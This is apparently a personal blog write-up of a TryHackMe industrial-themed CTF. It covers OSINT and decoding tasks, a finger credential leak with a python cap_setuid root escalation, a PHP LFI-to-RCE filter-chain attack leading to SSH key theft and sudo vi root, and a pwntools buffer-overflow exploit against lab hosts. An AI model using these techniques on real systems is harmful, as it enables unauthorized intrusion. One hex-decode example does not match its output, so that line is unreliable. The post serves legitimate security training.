Industrial Intrusion CTF

Posted Jun 27, 2025

By Elijah Lieu

6 min read

Introduction

Introduction

I was invited to this CTF by a colleague, but I participated on my own (technically with my university team).

The CTF is structured as a TryHackMe room, which is sequential. I’m putting all of the tasks into this single document.

Task 4

In the description of the channel #ctf-discord-challenge, it shows a function that can be called.

Running /secret-function shows the flag: THM{D15C0RD_57A5H_C0MM4ND5}.

Task 5

In searching for DNS records for virelia-water.it.com, I found a DNS site that showed history for https://stage0.virelia-water.it.com/. This URL had an “ICS Operator Console” with a network request to https://raw.githubusercontent.com/SanTzu/uplink-config/refs/heads/main/init.js, which had this content:

  
var beacon = {
  session_id: "O-TX-11-403",
  fallback_dns: "uplink-fallback.virelia-water.it.com",
  token: "JBSWY3DPEBLW64TMMQQQ=="
};

The subdomain stage0 can be found “properly” by navigating to https://github.com/SanTzu and looking at his followers. One of them is https://github.com/solstice-tech1, which has a file called CNAME which contains stage0.virelia-water.it.com.

The flag for this task can be found in the other repository, here: https://github.com/solstice-tech1/ot-auth-mirror/blob/main/index.html

  
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="refresh" content="0;url=https://54484d7b5375357373737d.virelia-water.it.com/reset">
  <title>Redirecting...</title>
</head>
<body>
  <p>Redirecting to internal password reset portal...</p>
</body>
</html>

This is hex for the flag:

  
$ echo 48656c6c6f20576f726c64 | xxd -r -p
THM{Su5sss} 

Task 6

Running a dig command on uplink-fallback.virelia-water.it.com shows this:

  
$ dig uplink-fallback.virelia-water.it.com TXT

...

;; ANSWER SECTION:
uplink-fallback.virelia-water.it.com. 1799 IN TXT "eyJzZXNzaW9uIjoiVC1DTjEtMTcyIiwiZmxhZyI6IlRITXt1cGxpbmtfY2hhbm5lbF9jb25maXJtZWR9In0="

...

Decrypting shows the flag:

  
$ echo "eyJzZXNzaW9uIjoiVC1DTjEtMTcyIiwiZmxhZyI6IlRITXt1cGxpbmtfY2hhbm5lbF9jb25maXJtZWR9In0=" | base64 --decode
{"session":"T-CN1-172","flag":"THM{uplink_channel_confirmed}"}

Task 7

The PGP key can be found here: https://github.com/virelia-water/compliance/commit/bf80b28d73cdbbccaa37c34633de98cd00e7b236

Using GPG to verify the signature, you can find the flag:

  
$ gpg --verify task7.txt
gpg: Signature made Mon 23 Jun 2025 08:44:52 AM EDT
gpg:                using RSA key 88DEDE7B730513BD5EDD6D9FA4F0FEB084A311E5
gpg:                issuer "[email protected]"
gpg: Can't check signature: No public key
$ gpg --keyserver keyserver.ubuntu.com --recv-keys 0x88DEDE7B730513BD5EDD6D9FA4F0FEB084A311E5
gpg: key F8ED5BC28874364F: public key "Ghost (THM{h0pe_th1s_k3y_doesnt_le4d_t0_m3}) <[email protected]>" imported
gpg: Total number processed: 1
gpg:               imported: 1

Task 15

We began with an nmap that showed that finger and a website were available.

  
Starting Nmap 7.96 ( https://nmap.org ) at 2025-06-29 14:08 EDT
Nmap scan report for 10.10.174.228
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
79/tcp open  finger
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.55 seconds

The website was a static HTML chess page that described the roles of Magnus, Fabiano, and Hikaru.

Using finger, I found a base64 encoded string for Fabiano.

  
$ nc 10.10.174.228 79
fabiano
Login: fabiano                          Name: 
Directory: /home/fabiano                Shell: /bin/bash
Never logged in.
No mail.
Project:
Reminders
Plan:
ZmFiaWFubzpvM2pWVGt0YXJHUUkwN3E=

  
$ echo "ZmFiaWFubzpvM2pWVGt0YXJHUUkwN3E=" | base64 --decode
fabiano:o3jVTktarGQI07q

This was the SSH password, so we found the user.txt flag:

  
fabiano@tryhackme-2204:~$ cat user.txt
THM{bishop_to_c4_check}

It looked like downloading scripts from the internet was disabled, but I could upload linpeas.sh via sftp. Running it showed this: /usr/bin/python3.10 cap_setuid=ep. This meant that Python could become root and find the root.txt flag:

  
fabiano@tryhackme-2204:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@tryhackme-2204:/root# cat root.txt
THM{check_check_check_mate}

Task 16

As always, we begin with an nmap:

  
Starting Nmap 7.96 ( https://nmap.org ) at 2025-06-29 15:14 EDT
Nmap scan report for 10.10.77.239
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds

There’s only a webpage, which is short enough to include here:

  
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Industrial Dev Solutions</title>
    <link rel="stylesheet" href="assets/style.css">
</head>
<body>
    <nav>
        <div class="logo">Industrial Dev Solutions</div>
        <ul>
            <li><a href="index.php">Home</a></li>
            <li><a href="view.php?page=about.php">About</a></li>
            <li><a href="view.php?page=solutions.php">Solutions</a></li>
            <li><a href="view.php?page=contact.php">Contact</a></li>
        </ul>
    </nav>

    <main>
        <h1>Welcome to Industrial Dev Solutions</h1>
        <p>Your trusted partner in industrial IoC and control-system software.</p>
        <a href="view.php?page=about.php" class="button">Learn More</a>
    </main>

    <footer>
        &copy; 2025 Industrial Dev Solutions – All rights reserved.
    </footer>
</body>
</html>

Immediately, we can see that there is likely a local file inclusion vulnerability in the way it handles links. In PHP, an LFI can lead to RCE. I like to use this script to generate payloads.

  
$ echo "http://10.10.77.239/view.php?page=$(python3 php_filter_chain_generator.py --chain '<?php system("ls -la");?>' | tail -n1)"

This generates a very long payload, but it runs the ls command on the system, which shows that there is a keys directory.

  
$ echo "http://10.10.77.239/view.php?page=$(python3 php_filter_chain_generator.py --chain '<?php system("cat keys/*");?>' | tail -n1)"

This prints out an SSH private key:

I verified this using ssh-keygen -y:

  
$ ssh-keygen -y -f key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1hhXA5clq0LpiUF8Xdc6yNwZ2yTBL2IsioJtKM3YGojYSIxikvnbBmL6PGX3gxO8yafhT8odxZ2QPtIwIH0uYlTL0GJf+fFsYTwD8EKJFD2BLjmPPbixYseH6sAZ3h6+BTYM8FSR1ljbcf71pKnYb22XuSBuTE29WeTTIv4/vea6Jpa3ZtJlBXoDPORVFOxYDzYgulJuXh/JUV8gUefDzl9RzzDowlPMACVbYo9TzjyzGR4lLIJGfdg1mCHos3UmrZQuFOZreVAeYmoEG0fy7eb8mi2yTAygxQTWR0cL2Mcs+ahQED/V2CdgNJY1+IcuLMoAis9LyBXMQwmzHCx4jcurEScCtoUSdJ9EF5xyZP0MvcNgRkh48bu5ca72Y+sBjZEK2/l123yzvXwXwvQbPJTolmOlOeLNcrURiScUF6EmgUMAbF+Ib9hU48sNYJ4mdegKcSK6rqXgpwk900ZfACVagTD+WpfzNlBLcclaqGksdv3DIHTzVM1xkwEHdt68= dev@tryhackme-2404

We can also see that the username is dev, which we could also verify using the LFI2RCE to run ls /home.

We have the user flag:

  
$ ssh -i key [email protected]
dev@tryhackme-2404:~$ cat user.txt 
THM{nic3_j0b_You_got_it_w00tw00t}

Inspecting the rest of the files, we can see a .bash_history. Of interest is sudo commands:

  
sudo -l
exit
sudo -l
vi
sudo vi

Running sudo -l we can see that the dev user is allowed to run sudo vi, allowing us to see the root flag:

dev@tryhackme-2404:~$ sudo vi /root/root.txt

THM{y0u_g0t_it_welldoneeeee}

Task 28

  
#!/usr/bin/env python3

from pwn import *

exe = ELF("./start")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("10.10.170.100", 9008)

    return r


def main():
    r = conn()

    # good luck pwning :)
    offset = 0x30 + 8
    payload = flat({
        offset: exe.sym["print_flag"]
    })
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

  
[*] '/tmp/thm/start'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Opening connection to 10.10.170.100 on port 9008: Done
[*] Switching to interactive mode
Enter your username: Welcome, admin!

THM{nice_place_t0_st4rt}

THM{nice_place_t0_st4rt}

[*] Got EOF while reading in interactive

This post is licensed under CC BY 4.0 by the author.